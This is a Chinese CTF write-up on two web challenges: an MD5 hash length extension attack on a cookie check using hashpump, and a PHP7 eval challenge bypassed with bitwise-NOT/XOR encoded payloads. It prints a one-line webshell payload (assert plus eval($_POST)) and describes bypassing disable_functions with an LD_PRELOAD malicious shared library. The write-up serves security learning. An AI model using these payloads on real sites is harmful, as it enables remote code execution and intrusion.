0x01 HASH长度拓展攻击
哈希长度拓展攻击的原理有点过于复杂了,这里直接copy其他大佬的描述了。
长度扩展攻击(length extension attack),是指针对某些允许包含额外信息的加密散列函数的攻击手段。对于满足以下条件的散列函数,都可以作为攻击对象:
① 加密前将待加密的明文按一定规则填充到固定长度(例如512或1024比特)的倍数;
② 按照该固定长度,将明文分块加密,并用前一个块的加密结果,作为下一块加密的初始向量(Initial Vector)。
满足上述要求的散列函数称为Merkle–Damgård散列函数(Merkle–Damgård hash function),下列散列函数都属于Merkle–Damgård散列函数:
MD4
MD5
RIPEMD-160
SHA-0
SHA-1
SHA-256
SHA-512
WHIRLPOOL
对于H(salt+data)形式的加密,在以下条件满足的情况下,攻击者可以通过该方法获取H(salt+一定规则构造的data):
① 知道密文的加密算法且该算法满足Merkle–Damgård散列函数特征;
② 不知道salt,但知道salt的长度,并可控制data的值;
③ 可以得到一个H(salt+data)的值。
简而言之,你要满足的条件就是:
- 知道salt的长度
- 知道salt+data的Hash值,并且data是你所知道的明文
这样你就能填充其他字符来得到一个和该salt+data
计算出的hash
值相同的一串字符串,整个过程你是不知道秘钥salt
的。
分析:http://ctf5.shiyanbar.com/web/kzhan.php

注意到这里
set-cookie
有两个奇怪的值,我们将source
任意调整后给出源码:
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
题目思路很简单,你提交的getmein
的值和md5($secret+$_POST['username']+$_POST[''passname])
的值一样,并且你提交的password
不能是admin
我们已知的有:md5($secret+'adminadmin')
,密钥的长度
,那么我们可以通过附加的字符串得到一个md5
值和md5($secret+'admin'+'返回的字符串')
一样,那么我们只要输入这串返回的字符串,并且输入这个MD5就自然相等了。
这里使用hashpump这款工具:
md5($secret+'adminadmin')
—-相当于Signature
,而我们输入的data是adminadmin
,密钥的长度告诉我们是15位,随意添加字符串,得到我们用这个密钥加密后的新MD5,就是md5($secret+’admin’+’返回的字符串’)

\x
换成%
:
[极客大挑战]RCEME(php7特性去绕过黑名单、恶意共享库攻击绕过被过滤方法)
我们先看一个与之类似的题目:
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
//$hint = "php function getFlag() to get flag"
}
主要的目的就是让我们绕过正则匹配,之后执行getFlag()函数,通过wappalyzer
插件我们知道了是PHP7的版本,基于php7,我们可以根据php7的特性进行解题。

phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行
所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有“^”和~ 异或生成的不可见字符比较多,这里更倾向于使用“~”(求反运算符)。
下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。

payload
:(~%8F%97%8F%96%91%99%90)();即能得到phpinfo()
极客大挑战 RCEME:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// ?>
同理这个题我们也是这样构造,查看phpinfo()看被禁的方法:

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl
留意一下发现assert
没有被禁,但是注意:

assert
便不是函数了,因此不支持被可变函数调用,但是这个题的版本是PHP7.0,因此仍然assert
为函数.
我们先利用print_r(scandir('./'));
来查看当前目录:

index.php
,试着读一下根目录:
readflag
和flag
文件,这里直接构造readfile('/flag');
发现读不出东西,在尝试读取
readflag
,发现:
是个二进制可执行文件,这里在网上搜罗到了类似的一句话payload,直接蚁剑连接即可:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE。
附上链接:
https://www.anquanke.com/post/id/175403
exp链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
其实打靶机的时候也用过环境变量提权,这个PHP版本的环境变量进行RCE也算是多加学习吧。
接下来的事就是上传php和so文件改变环境变量(应上传至/tmp路径下)即可,exp附上了,最后成功得到flag!

exp链接:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD